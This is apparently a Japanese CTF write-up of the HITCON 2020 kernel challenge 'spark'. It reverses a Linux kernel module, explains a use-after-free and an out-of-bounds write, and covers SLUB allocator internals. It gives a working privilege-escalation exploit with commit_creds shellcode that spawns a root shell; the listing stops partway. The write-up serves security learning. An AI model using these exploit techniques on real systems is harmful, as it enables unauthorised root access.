イントロ
いつぞや開催されたHITCON CTF 2020。その pwn 問題であるsparkの記録。最近はブログを書くモチベと CTF をするモチベがどちらも停滞してきている。このままではレモンと思い、ここ 1 週間は kernel pwn 強化月間としている。自分自身 kernel のことは全然わからないメロンのため同じところをぐるぐるしてやる気が崩壊してしまうこともあるが、プイプイモルカーの気持ちを考えながら何とかやっている。 本問題は割と典型っぽい kernel ヒープの UAF 問題ではあると思うのだが、スラブアロケタの知識が曖昧だったため非常に手こずってしまいスイカになった。1.5 年前ならば TSG の諸先輩方に気楽に質問をすることができたのだが、最近解くような問題は 2・3 分で全体像が分かるようなものは少ないため、質問される側の負担を考えるとなかなか質問しにくいという状況である。よって何らかのドキュメントなり資料なりを検索することになるが、言ってることが大まかすぎたり問題の設定にあってなかったりでこれまた参考にならないことが多い。結局の所、ソースを一から読むに越したことはないというごく当たり前の事実に帰着し、りんごになった。 尚、最終的な PoC は@c0m0r1 のPoC を参考にしている。参考にしていると言うか、もうほとんどなぞっているだけである。オリジナルが見たい方はリンクを辿ってください。
問題概要
配布物
dist.sh 1spark.ko: LKM.
2$ file ./spark.ko
3./spark.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=31e7889f4046c74466bd2bc4f13a7f18a7e2a8e1, not stripped
4$ modinfo ./spark.ko
5filename: /home/wataru/Documents/ctf/hitcon2020/spark/work/./spark.ko
6license: GPL
7author: david942j @ 217
8srcversion: 982767236753E40E8EA6141
9depends:
10retpoline: Y
11intree: Y
12name: spark
13vermagic: 5.9.11 SMP mod_unload
14
15run.sh: QEMU run script.
16 -append "console=ttyS0 kaslr panic=1" \
17SMEP/SMAPは無効 KPTI無効 シングルコア
18
19initramfs.cpio.gz: absolutely normal image
20
21demo.c: demo program using the LKM.
22
23bzImage: kernel image.
24$ cat /proc/version
25Linux version 5.9.11 (david942j@217-x) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils for Ubuntu) 2.30) #1 SMP Thu Nov 26 16:29:45 CST 2020
案の定ソースコードなんて配ってくれないため、自前 kernel を使うことができず、debuginfo なしでやるしかない。
モジュール
結構リバースがめんどくさかった。
/dev/node
という misc デバイスを追加し、open するごとにノードを作成する。作成したノードは互いに重み付きリンクを張ることができる。リンクを貼ったノードによってグラフを作成し、ioctl で指定したノード間の距離をダイクストラ法によって算出して結果を返してくれるモジュールである。
1pwndbg> p *((struct miscdevice*)0xffffffffc0004000)->fops
2$3 = {
3 owner = 0xffffffffc0004080,
4 llseek = 0xffffffff812e8a90 <ext4_resize_fs+2480>,
5 read = 0x0 <fixed_percpu_data>,
6 write = 0x0 <fixed_percpu_data>,
7 read_iter = 0x0 <fixed_percpu_data>,
8 write_iter = 0x0 <fixed_percpu_data>,
9 iopoll = 0x0 <fixed_percpu_data>,
10 iterate = 0x0 <fixed_percpu_data>,
11 iterate_shared = 0x0 <fixed_percpu_data>,
12 poll = 0x0 <fixed_percpu_data>,
13 unlocked_ioctl = 0xffffffffc0002050,
14 compat_ioctl = 0x0 <fixed_percpu_data>,
15 mmap = 0x0 <fixed_percpu_data>,
16 mmap_supported_flags = 0,
17 open = 0xffffffffc0002020,
18 flush = 0x0 <fixed_percpu_data>,
19 release = 0xffffffffc0002000,
20 fsync = 0x0 <fixed_percpu_data>,
21 fasync = 0x0 <fixed_percpu_data>,
22 lock = 0x0 <fixed_percpu_data>,
23 sendpage = 0x0 <fixed_percpu_data>,
24 get_unmapped_area = 0x0 <fixed_percpu_data>,
25 check_flags = 0x0 <fixed_percpu_data>,
26 flock = 0x0 <fixed_percpu_data>,
27 splice_write = 0x0 <fixed_percpu_data>,
28 splice_read = 0x0 <fixed_percpu_data>,
29 setlease = 0x0 <fixed_percpu_data>,
30 fallocate = 0x0 <fixed_percpu_data>,
31 show_fdinfo = 0x0 <fixed_percpu_data>,
32 copy_file_range = 0x0 <fixed_percpu_data>,
33 remap_file_range = 0x0 <fixed_percpu_data>,
34 fadvise = 0x0 <fixed_percpu_data>
35}
構造体
モジュールで利用する構造体のうち重要なものは以下のとおり。
structure.c 1struct edge{
2 struct edge *next_edge;
3 struct edge *prev_edge;
4 struct node_struct *node_to;
5 ulong weight;
6};
7
8struct node_info{
9 ulong cur_edge_idx;
10 ulong capacity;
11 struct node_struct **nodes;
12};
13
14struct node_struct{
15 ulong index;
16 long refcnt;
17 char mutex_state[0x20];
18 ulong is_finalized;
19 char mutex_nb[0x20];
20 ulong num_edge;
21 struct edge *prev_edge;
22 struct edge *next_edge;
23 ulong finalized_idx;
24 struct node_info *info;
25};
node_struct
構造体は、/dev/node
を open するごとにkmem_cache_alloc_trace()
で確保される 0x80 サイズのノード実体である。各ノードはedge
構造体のリストを持っており、これがノード間のリンクを表現する。ノードに対してはioctl(finalize)
という操作が可能であり、これによってそのノードを始点として深さ優先探索をすることでグラフを作成する。探索された順がnode_struct.finalized_idx
であり、各ノードはnode_struct.info->nodes
に格納される。
Vulns
2 つのバグがある。
refcnt のインクリメント忘れ
node_struct.refcnt
によってそのノードを参照しているオブジェクト数を管理している。refcnt
が 1 であるときにclose
をすると、そのノードから生えている全てのedge
とnode
自身をkfree()
で解放する。
1 if (refcnt == 1) {
2 info = node->info;
3 /* free info */
4 if (info != (node_info *)0x0) {
5 uVar4 = 1;
6 if (1 < (ulong)info->cur_edge_idx) {
7 do {
8 refcnt = refcnt + 1;
9 spark_node_put(info->nodes[uVar4]);
10 uVar4 = SEXT48(refcnt);
11 } while (uVar4 < (ulong)info->cur_edge_idx);
12 }
13 kfree(info->nodes);
14 }
15 peVar3 = node->prev_edge->next_edge;
16 peVar2 = node->prev_edge;
17 while (peVar1 = peVar3, peVar2 != (edge *)&node->prev_edge) {
18 /* free all edges */
19 kfree(peVar2);
20 peVar3 = peVar1->next_edge;
21 peVar2 = peVar1;
22 }
23 /* free node */
24 kfree(node);
25 return;
26 }
だが、refcnt
のインクリメントがノードの作成時のみ行われ、リンクの作成時には行われていない。
1undefined4 spark_node_link(node_struct *node1,node_struct *node2)
2
3{
4 undefined4 uVar1;
5 /* node1.index should be less than node2.index */
6 if (node1->index < node2->index) {
7 mutex_lock(node2->mutex_state);
8 mutex_lock(node1->mutex_state);
9 uVar1 = 0xffffffea;
10 if ((*(int *)&node1->is_finalized == 0) && (*(int *)&node2->is_finalized == 0)) {
11 spark_node_push(node1,node2);
12 spark_node_push(node2,node1);
13 uVar1 = 0;
14 }
15 mutex_unlock(node1->mutex_state);
16 mutex_unlock(node2->mutex_state);
17 return uVar1;
18 }
19 return 0xffffffea;
20}
このため、ノードを close するとそのノードを参照している edge が存在しているのにノードがkfree()
されてしまう。リンクされていたノードからはそのリンクを辿れてしまうため、既にkfree()
されたオブジェクトに対する floating pointer(dungling pointer っていうのかな)が存在することになる。kernel heap UAF である。
ダイクストラにおける OOB
グラフを作成(finalize)し、そのグラフを利用してノード間の距離を算出する際に、各ノードの暫定最短距離を保存するのにdistance
array を確保している。普通のダイクストラのように始点ノードから BFS でdistance
を更新していく。この際distance
に対するアクセスはnode_struct.finalized_idx
をインデックスとして利用している。
1 do {
2 /* この0xFFFFF...は取り敢えずダイクストラしたことのtmpマーカーかな */
3 *cur_distance_p = 0xffffffffffffffff;
4 next_edge_p = cur_node_p->prev_edge;
5 /* 結局list_for_each_entry()をやっている */
6 while ((edge *)&cur_node_p->prev_edge != next_edge_p
7 /* 幅優先探索 */) {
8 known_distance = distances[next_edge_p->node_to->finalized_idx];
9 /* もし探索済みでなく、より最短経路であれば更新 */
10 if ((known_distance != 0xffffffffffffffff) && (uVar4 = next_edge_p->weight + counter, uVar4 < known_distance)) {
11 /*** VULN!! : OOB ***/
12 distances[next_edge_p->node_to->finalized_idx] = uVar4;
13 }
14 next_edge_p = next_edge_p->next_edge;
15 }
16 cur_distance_p = cur_distance;
17 ppnVar3 = a;
18 if (num_max_nodes != 0) {
19 iVar2 = 0;
20 known_distance = 0x7fffffffffffffff;
21 uVar4 = 0;
22 counter = start;
23 do {
24 uVar1 = distances[uVar4];
25 if ((uVar1 < known_distance) && (uVar1 != 0xffffffffffffffff)) {
26 counter = uVar4;
27 known_distance = uVar1;
28 }
29 iVar2 = iVar2 + 1;
30 uVar4 = SEXT48(iVar2);
31 } while (uVar4 < num_max_nodes);
32 if (end_idx == counter) goto LAB_0010097c;
33 cur_distance_p = distances + counter;
34 ppnVar3 = nodes + counter;
35 }
36 counter = *cur_distance_p;
37 cur_node_p = *ppnVar3;
38 } while ((counter & 0x7fffffffffffffff) != 0x7fffffffffffffff);
distances[next_edge_p->node_to->finalized_idx] = uVar4;
でdistance
の更新を行っている。一見問題なさそうだが、あるノードに繋がっているノードの中身は、vuln1 の UAF を用いて任意に変更することができる。よって、node_struct.finalized_idx
が不正な値に書き換えられていた場合、このインデックスのバウンドチェックがないため OOB(W)が成立する。
KASLR bypass/leak
本問題は SMEP/SMAP が無効のため RIP が取れれば終わりである。まずは exploit に必要な kernstack 及びnode_struct
が入る kernheap の leak をする。尚、node_struct
は 0x80 サイズのためkmalloc-128
スラブキャッシュによって管理される。
leak 自体は簡単で、vuln1 の UAF を使った後に該当ノードを利用する操作をすればGeneralProtectionFault(以降 #GPF と呼ぶ)が起きる。今回起動パラメタにoops=panic
がないため、単にエラーメッセージを吐いてユーザプロセスが死ぬだけで済む。
#GPF
が起きた原因は0x922dd3f2227448b8
という non-canonical なアドレスに対するアクセスである。この値は free されたノード中のポインタに該当し、これ dereference したことによって#GPF が発生する。0x922dd3f2227448b8
という値は、恐らくだがスラブ内のオブジェクトのfreelist
における次のオブジェクトへのポインタであると考えられる。というのも、今回の kernel はCONFIG_SLAB_HARDEN
オプションが有効化されており、freelist
内のポインタがkmalloc_caches[0][7].random ^ kasan_reset_tag()
との XOR によって obfuscated されている(glibc の tcache にしても、考えることは同じだなぁ、みつお。)。さらに、kmalloc-128
においてoffset
メンバが0x40
になっているため、各オブジェクトの先頭から0x40
にこの XOR されたポインタが置かれることになる。
とうことで、この難読化されたポインタをnode_struct
のメンバとして dereference することによって#GPF が発生したものと思われる。ちゃんと確かめてはないから、知らんけど。
この#GPF によるエラーログをdmesg
するか/var/log/kern.log
を見ることで RSP から kernstack を、$R11 からノードオブジェクトのアドレス(kernheap)を leak できる。
最近の dmesg について
最近の Ubuntu ではdmesg
なりでリングバッファを読むことが制限されているらし
い。adm
group に入っていれば OK らしいから通常ユーザであれば問題ないだろうが、CTF の問題だとどうなんやろ。まぁ Ubuntu 標準であって kernel 標準じゃないからいいのかな。詳しいことはどこか
を参照のこと。
UAF されてるノードを取ってきたい
さて、ここまでで諸々の leak が早くも完了しているため、一番要である UAF されたノードの forge を行う。これを行うためには、setxattr()
によって UAF されたノードオブジェクトをピンポイントで取得してくる必要がある。
正直なところ、スラブアロケタの知識が未熟未熟メロメロみかんであり、いまいちどうやるべきか分からなかったため、ここで最初に挙げた PoC をカンニングした。
そこでは、目的のノードを取得する前に 0x12 回同じサイズのオブジェクトを取得していた。恥ずかしい話、僕はkfree()
したオブジェクトはkmem_cache.cpu_slab->freelist
の先頭に繋がるんだから、この 0x12 回の取得なんてせずにすぐにsetxattr()
を呼べば UAF 対象のノードを取得できるだろうと思っていた。
スラブアロケタについて
ここで、スラブアロケタについてお勉強し直した。SLUB かと思ったら SLAB について説明している資料を見て頭がこんがらがったり、詳解 Linux を読んで古すぎね?と思ったりした。結局はネットの日本語資料 を若干チラ見しつつ、デバフォ付きの kernel とソースコードでひたすらデバッグして大凡全体像は掴めたつもりでいる。ここでスラブアロケタについての解説をしようとも思ったが、まじでこの資料 の出来が良すぎてこれ以上のものなんてできやしない+時間の無駄だと思ったため、全体の解説は行わない。
ただ、ざっくりとした概要と気になるところだけ少しメモしておく。
kernel はバディシステムからページごとに領域を確保する。バディアロケタはページ単位でしか領域を確保できないため、これを細かく分割して利用・管理するためのシステムがスラブアロケタである。スラブキャッシュはオブジェクトの種類・若しくはサイズごとに分かれている。よく使う構造体(struct cred
など)は専用のキャッシュが用意されているし、それ以外の構造体についてはブート時に確保されるキャッシュ(kmalloc-xxx
)が利用される。後者はkmalloc_caches
配列にスラブキャッシュへのポインタが確保されており、サイズごと且つ種類(GFP_KERNEL
とか)ごとにインデックス付けされている。
スラブキャッシュは CPU 毎のスラブと NUMA ノードごとのスラブ(複数)を持っている。NUMA は CPU・メモリブロック・両者を繋ぐメモリバスをひと単位とするノードを複数持つシステムであるが、正直よく分かっていないし、普通のパソコンでは恐らく以下の通り node==1 であるため、実質スラブは CPU に紐付けられたものが一つとそれ以外のスラブリストが一つと考えておいて良いと思う。
1$ numactl --hardware
2available: 1 nodes (0)
3node 0 cpus: 0 1 2 3 4 5 6 7
4node 0 size: 31756 MB
5node 0 free: 1420 MB
6node distances:
7node 0
8 0: 10
尚、今回はそもそもにシングルコア問だから尚更である。CPU に紐付けられたスラブはfreelist
をもっており、これがオブジェクトのリストを構成する。CPU に紐付けられていないスラブはkmem_cache.node
配列にノードという単位でポインタが格納されており、一つのノードはkmem_cache.node.partial
にスラブ(struct page
)のリストを保持している。各page
はfreelist
に free なオブジェクトのリストを持っている。
per-cpu-data について
先程から出ているCPU に紐付けられたというデータだが、これは GDB 上で以下のように見える。
kmalloc-128.c 1$12 = {cpu_slab = 0x310e0, flags = 1073741824, min_partial = 5, size = 128, object_size = 128, reciprocal_size = {m = 1, sh1 = 1 '\001', sh2 = 6 '\006'}, offset = 64, oo = {x = 30}, max = {x = 32}, min = {
2 x = 32}, allocflags = 32, refcount = 0, ctor = 0x1 <fixed_percpu_data+1>, inuse = 0, align = 0, red_left_pad = 128, name = 0x0 <fixed_percpu_data>, list = {next = 0xffffffff8235c772,
3 prev = 0xffff88800f041a68}, kobj = {
4 name = 0xffff88800f041868 "h\031\004\017\200\210\377\377h\027\004\017\200\210\377\377\334\306\065\202\377\377\377\377\200\031\004\017\200\210\377\377\200\027\004\017\200\210\377\377x\031\211\016\200\210\377\377`\031\211\016\200\210\377\377@\370o\202\377\377\377\377", entry = {next = 0xffffffff8235c772, prev = 0xffff88800f041a80}, parent = 0xffff88800f041880, kset = 0xffff88800e891978, ktype = 0xffff88800e891960,
5 sd = 0xffffffff826ff840, kref = {refcount = {refs = {counter = 245636352}}}, state_initialized = 0, state_in_sysfs = 0, state_add_uevent_sent = 0, state_remove_uevent_sent = 0, uevent_suppress = 0},
6 random = 12884901889, remote_node_defrag_ratio = 2734939157, useroffset = 3483165071, usersize = 1000, node = {0xffff88800f04e100, 0x8000000000, 0xffff88800f040e80, 0x0 <fixed_percpu_data>,
7 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x310c0, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x6000000060, 0x60155555556, 0x1e00000030, 0x2a0000002a,
8 0x2a <fixed_percpu_data+42>, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000060, 0x0 <fixed_percpu_data>, 0xffffffff8235c6bd, 0xffff88800f041b68, 0xffff88800f041968, 0xffffffff8235c6bd,
9 0xffff88800f041b80, 0xffff88800f041980, 0xffff88800e891978, 0xffff88800e891960, 0xffffffff826ff840, 0xffff88800ea42b80, 0x300000001, 0x1cc8d0a44a4c82c4, 0x3e8, 0xffff88800f043180, 0x6000000000,
10 0xffff88800f040ec0, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x310a0, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x4000000040, 0x50100000001,
11 0x1e00000020, 0x4000000040, 0x40, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x4000000040, 0x0 <fixed_percpu_data>, 0xffffffff8235c753, 0xffff88800f041c68, 0xffff88800f041a68, 0xffffffff8235c753,
12 0xffff88800f041c80, 0xffff88800f041a80, 0xffff88800e891978, 0xffff88800e891960, 0xffffffff826ff840, 0xffff88800ea43a00, 0x300000001, 0x6a68fa625bc24bef, 0x3e8}}
これはstruct kmem_cache
型のkmalloc-128
の例であり、この内最初のメンバであるstruct kmem_cache_cpu
型のcpu_slab
が CPU 毎のデータで、0x310e0
という明らかに不自然なデータが入っている。これは勿論x/gx 0x310e0
のように見ることはできない。
自前 kernel を使っており、linux-provided なスクリプトが利用できる場合には GDB の$lx_per_cpu()
関数によって指定した CPU 毎のデータを参照することができるが、配布された kernel の場合にはできない。その場合には以下の手順を踏む。(もっといい方法があったら教えてください)
/proc/kallsyms | grep per_cpu_offset
を読む
1ffffffff82426900 R __per_cpu_offset
__per_cpu_offset
は、配列になっており x 番目の CPU 用領域へのポインタが に入っている。今回はシングルコアで動かしているため[0]だけが有効で他はみんな同じ値になっている。
1(gdb) x/10gx 0xffffffff82426900
20xffffffff82426900 <knl_uncore_m2pcie>: 0xffff88800f600000 0xffffffff82889000
30xffffffff82426910 <knl_uncore_m2pcie+16>: 0xffffffff82889000 0xffffffff82889000
40xffffffff82426920 <knl_uncore_m2pcie+32>: 0xffffffff82889000 0xffffffff82889000
50xffffffff82426930 <knl_uncore_m2pcie+48>: 0xffffffff82889000 0xffffffff82889000
60xffffffff82426940 <knl_uncore_m2pcie+64>: 0xffffffff82889000 0xffffffff82889000
- 先程のアドレス
0x310e0
に__per_cpu_offset
から読んだアドレスを足す。
1(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
2$1 = {freelist = 0x0 <fixed_percpu_data>, tid = 6035, page = 0xffffea0000367e80}
ちゃんと CPU 毎のスラブ情報が読めていることが分かる。こっから話は逸れるが少しスラブの内容を追ってみる。freelist
が現在0x0
になっているため、次のkmem_cache_alloc()
でkmem_cache.node
から空きオブジェクトのあるスラブを検索して入れ替えるであろうことが推測される。
1(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
2$9 = {freelist = 0xffff88800da1f800, tid = 6040, page = 0xffffea00003687c0}
新しいスラブが CPU 専属のスラブになった。おまけでfreelist
の先を見てみる。(今回offset
は 0x40 である)
1(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
2$9 = {freelist = 0xffff88800da1f800, tid = 6040, page = 0xffffea00003687c0}
3(gdb) x/2gx 0xffff88800da1f800+0x40
40xffff88800da1f840: 0x709bc8022e2ad9ea 0x0000000000000000
次のポインタが0x709bc8022e2ad9ea
になっている。これは、スラブキャッシュが保有しているrandom
というメンバの値で XOR されたポインタである。厳密に言えば、slab_alloc_node()
(fastpath)から呼ばれるfreelist_ptr()
において以下のように復号される。
1static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
2 unsigned long ptr_addr)
3{
4#ifdef CONFIG_SLAB_FREELIST_HARDENED
5 return (void *)((unsigned long)ptr ^ s->random ^
6 swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
7#else
8 return ptr;
9#endif
10}
random
の値を読むのは、(config によってkmem_cache
の中身が異なるから若干めんどいけど)スラブキャッシュ自体をみればいいだけだからそんな難しいことはない。けど、kasan_reset_tag()
の返す値が何なのかいまいち分かってないため、未だにこのポインタの復号方法が分からないでいる。誰かご存知の方居たら教えてください…。
最初に kfree されたノードは何処へ行くか
さてさて、少し前置きが長くなったが「free したばっかのノード(オブジェクト)が CPU 専属スラブのfreelist
の根っこに繋がる」という考えは間違いであった。というのも、exploit においては以下のように alloc/free を行っている。
1 for(int i = 0; i < N; i++) {
2 fd[i] = open(DEV_PATH, O_RDWR);
3 assert(fd[i]);
4 }
5
6 (snipped...)
7 close(fd[0]); // vuln
8
9 (snipped...)
10 ALLOC_KMALLOC_128(0x12);
11 setxattr("/home/spark", "NIRUGIRI", &fake_node0, sizeof(fake_node0), XATTR_CREATE);
ここで、UAF に使うノードfd[0]
は最初の for 文の一番最初に確保され、同じ for で N(==0x20)-1 個の他のノードが確保される。その後で脆弱性のあるノードを close(kfree)している。
このとき、fd[0]を確保したスラブと fd[0]を close する際の CPU 専属のスラブは明らかに別のページから取得されている。というのも、kmalloc-128
は以下のようになっている。
1$ sudo cat /proc/slabinfo | grep ^kmalloc-128
2kmalloc-128 4884 5216 128 32 1 : tunables 0 0 0 : slabdata 163 163 0
左から利用しているオブジェクト数・全体のオブジェクト数・オブジェクト一つのサイズ・1 スラブあたりのオブジェクト数・1 スラブあたりのページ数・(0 は飛ばして)アクティブなスラブ数・全体のスラブ数である。ここで 1 スラブあたりのオブジェクト数は0x20
であり、最初の for 文で 0x20 回ノードを確保しているため、その途中で必ず CPU 専属のスラブが枯渇し、NUMA ノードのスラブと入れ替わることになる。よって、その後に close しても、fd[0]
が所属するスラブとその時の CPU 専属スラブは別のものであり、do_slab_free()
では slowpath が選択されて、cpu_slab
のfreelist
ではなくnode.partial
のfreelist
に繋がることになる。これが直ちに setxattr しても目的のノードを取得できない理由である。
目的のノードを取得する
ということで、最初にkfree
したfd[0].private_data
を取得するには、CPU 専属スラブをfd[0]
を close した時のスラブに戻す必要がある。この時、どれだけkmem_cache_alloc_trace()
を呼び出せば良いのかという問題がある。というのも、kernel では実行が切り替えられ色々なパスが実行されるため、exploit の実行中に heap が利用され、現在の heap の状況が変わってしまうと考えられるからである。
結論から言うと、今回はkmem_cache_alloc_trace()
する回数は完全に固定値で良かった。というのも、kmalloc-128
を使うパスにブレイクを張って exploit を動かしたところ、この exploit 以外には全くkmalloc-128
が使われていなかった。即ち、exploit でいじった以外に heap がいじられることはなかったため、heap の状態は完全に既知としてよかった。これが何故なのかは、正直分かっていない。直感的にはkmalloc-128
を使うパスが exploit の途中で実行されてしまうような気がするが…。単にこのキャッシュが人気無いだけなのか、本問だけのなんか特殊な感じの理由があるのか。誰か知ってる方居たら教えてください…。
なにはともあれ、この前提のもとではfd[0]
を kfree した時のスラブが CPU 専属になり、且つfd[0]
がfreelist
の根っこに繋がるまでkmalloc
を繰り返せば良い。この 0x12 回という回数だが、try&error でこうなった(厳密には、上述の PoC に書いてあったから GDB で確かめたら確かにそうなっていた)。なんかすんなりと求められる方法を知っているひとが居たら(以下略。
これでfd[0]
を取得したら、元fd[0]
の中身を任意の値に forge することができる。
ノードの偽装
これで、vuln2 を利用して kernheap を始点とする OOB(W)ができる。このとき、書き込む offset はnode_struct.finalized_idx
によって操作でき、書き込む値はリンクのweight
によって操作できる。そのためには始点となるdistance
array を既知のアドレスに取得する(kmalloc)必要がある。これも、先程までと同じ考え方ができるようにリンクするノード数を工夫して、distance
array のサイズが 0x80 となるように工夫する。その結果、#GPF で leak した R11 がそのままdistance
array のアドレスとなるようにする。
kernel shellcode
この overwrite はspark_graph_query()
によって行われる。最初の#GPF で kernstack は leak しているため、この関数のスタックフレーム内の retaddr を書き換えれば RIP を取ることができる。SMEP/SMAP 無効のため、ユーザランドにおいておいたシェルコードでcommit_creds(prepare_kernel_cred())
をすれば終わり。この 2 つの関数のアドレスは、シェルコードをに飛んだ時のスタックに積んであるアドレスを利用する。
1void NIRUGIRI(void)
2{
3 char *argv[] = {"/bin/sh",NULL};
4 char *envp[] = {NULL};
5 execve("/bin/sh",argv,envp);
6}
7
8static void shellcode(void){
9 asm(
10 "xor rdi, rdi\n"
11 "mov rbx, QWORD PTR [rsp+0x50]\n"
12 "sub rbx, 0x244566\n"
13 "mov rcx, rbx\n"
14 "call rcx\n"
15 "mov rdi, rax\n"
16 "sub rbx, 0x470\n"
17 "call rbx\n"
18 "add rsp, 0x20\n"
19 "pop rbx\n"
20 "pop r12\n"
21 "pop r13\n"
22 "pop r14\n"
23 "pop r15\n"
24 "pop rbp\n"
25 "ret\n"
26 );
27}
exploit
exploit.c 1/* This PoC is completely based on @c0m0r1 's one. (https://github.com/c0m0r1/CTF-Writeup/blob/master/hitcon2020/spark/exploit.c) */
2/* Also, some of the code is quoted from demo.c distributed during the CTF by author @david942j. */
3
4#include <stdlib.h>
5#include <string.h>
6#include <stdio.h>
7#include <fcntl.h>
8#include <unistd.h>
9#include <errno.h>
10#include <poll.h>
11#include <assert.h>
12#include <sys/ioctl.h>
13#include <sys/mman.h>
14#include <sys/types.h>
15#include <sys/xattr.h>
16
17// commands
18#define SPARK_LINK 0x4008D900
19#define SPARK_FINALIZE 0xD902
20#define SPARK_QUERY 0xC010D903
21#define SPARK_GET_INFO 0x8018D901
22#define DEV_PATH "/dev/node"
23
24// constants
25#define PAGE 0x1000
26#define FAULT_ADDR 0xdead0000
27#define FAULT_OFFSET PAGE
28#define MMAP_SIZE 4*PAGE
29#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
30#define N 0x20
31
32// globals
33static int fd[N];
34struct pt_regs lk_regs; // leaked regs
35struct node_struct fake_node0;
36
37const spark_graph_query_stack_offset = 0xFEB0;
38/*
39(gdb) p $rsp
40$3 = (void *) 0xffffc900001dfea0
41(gdb) set $spark_graph_query=$3
42(gdb) set $leaked_sp=0xffffc900001efd50
43(gdb) p/x (long)$leaked_sp - (long)$spark_graph_query
44$5 = 0xfeb0
45*/
46
47#define WAIT getc(stdin);
48#define ulong unsigned long
49#define NULL (void*)0
50#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
51 } while (0)
52ulong user_cs,user_ss,user_sp,user_rflags;
53struct pt_regs {
54 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
55 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
56 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
57 ulong orig_ax; ulong ip; ulong cs; ulong flags;
58 ulong sp; ulong ss;
59};
60void print_regs(struct pt_regs *regs)
61{
62 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
63 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
64 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
65 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
66 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
67}
68void NIRUGIRI(void)
69{
70 char *argv[] = {"/bin/sh",NULL};
71 char *envp[] = {NULL};
72 execve("/bin/sh",argv,envp);
73}
74static void save_state(void) {
75 asm(
76 "movq %%cs, %0\n"
77 "movq %%ss, %1\n"
78 "movq %%rsp, %2\n"
79 "pushfq\n"
80 "popq %3\n"
81 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
82}
83
84static void shellcode(void){
85 asm(
86 "xor rdi, rdi\n"
87 "mov rbx, QWORD PTR [rsp+0x50]\n"
88 "sub rbx, 0x244566\n"
89 "mov rcx, rbx\n"
90 "call rcx\n"
91 "mov rdi, rax\n"
92 "sub rbx, 0x470\n"
93 "call rbx\n"
94 "add rsp, 0x20\n"
95 "pop rbx\n"
96 "pop r12\n"
97 "pop r13\n"
98 "pop r14\n"
99 "pop r15\n"
100 "pop rbp\n"
101 "ret\n"
102 );
103}
104
105struct spark_ioctl_query {
106 int fd1;
107 int fd2;
108 long long distance;
109};
110
111struct edge;
112struct node_info;
113struct node_struct;
114
115struct edge{
116 struct edge *next_edge;
117 struct edge *prev_edge;
118 struct node_struct *node_to;
119 ulong weight;
120};
121
122struct node_info{
123 ulong cur_edge_idx;
124 ulong capacity;
125 struct node_struct **nodes;
126};
127
128struct node_struct{
129 ulong index;
130 long refcnt;
131 char mutex_state[0x20];
132 ulong is_finalized;
133 char mutex_nb[0x20];
134 ulong num_edge;
135 struct edge *prev_edge;
136 struct edge *next_edge;
137 ulong finalized_idx;
138 struct node_info *info;
139};
140
141static void _link(int fd0, int fd1, unsigned int weight) {
142 assert(fd0 < fd1);
143 //printf("[+] Creating link between %d and %d with weight %u\n", fd0-3, fd1-3, weight);
144 assert(ioctl(fd0, SPARK_LINK, fd1 | ((unsigned long long) weight << 32)) == 0);
145}
146
147static void _query(int fd0, int fd1, int fd2) {
148 struct spark_ioctl_query qry = {
149 .fd1 = fd1,
150 .fd2 = fd2,
151 };
152 assert(ioctl(fd0, SPARK_QUERY, &qry) == 0);
153}
154
155static void _finalize(int fd0) {
156 int r = ioctl(fd0, SPARK_FINALIZE);
157}
158
159void invoke_gpf()
160{
161 printf("[+] invoking #GPF...\n");
162 for (int i = 0; i < 3; i++) {
163 fd[i] = open(DEV_PATH, O_RDONLY);
164 assert(fd[i] >= 0);
165 }
166 _link(fd[0], fd[1], 1); // still, their refcnt==1
167 close(fd[0]); // node0's refcnt==0, then be kfree(), making floating-pointer
168 assert(ioctl(fd[1], SPARK_FINALIZE) == 0); // dereference invalid pointer in node0 and invoke oops, then child be killed.
169}
170
171void leak_kaslr()
172{
173 char buf[0x200];
174 char dum[0x200];
175 const char *format ="\
176[ %f] RSP: 0018:%lx EFLAGS: %lx\n\
177[ %f] RAX: %lx RBX: %lx RCX: %lx\n\
178[ %f] RDX: %lx RSI: %lx RDI: %lx\n\
179[ %f] RBP: %lx R08: %lx R09: %lx\n\
180[ %f] R10: %lx R11: %lx R12: %lx\n\
181[ %f] R13: %lx R14: %lx R15: %lx";
182 float fs[0x10];
183 printf("[+] leaking KASLR via dmesg...\n");
184 system("dmesg | grep -A13 \"general protection\" | grep -A20 RSP > /tmp/dmesg_leak");
185 FILE *fp = fopen("/tmp/dmesg_leak", "r");
186 fscanf(fp, format, \
187 fs, &lk_regs.sp, &lk_regs.flags, fs, &lk_regs.ax, &lk_regs.bx, &lk_regs.cx, \
188 fs, &lk_regs.dx, &lk_regs.si, &lk_regs.di, fs, &lk_regs.bp, &lk_regs.r8, &lk_regs.r9, \
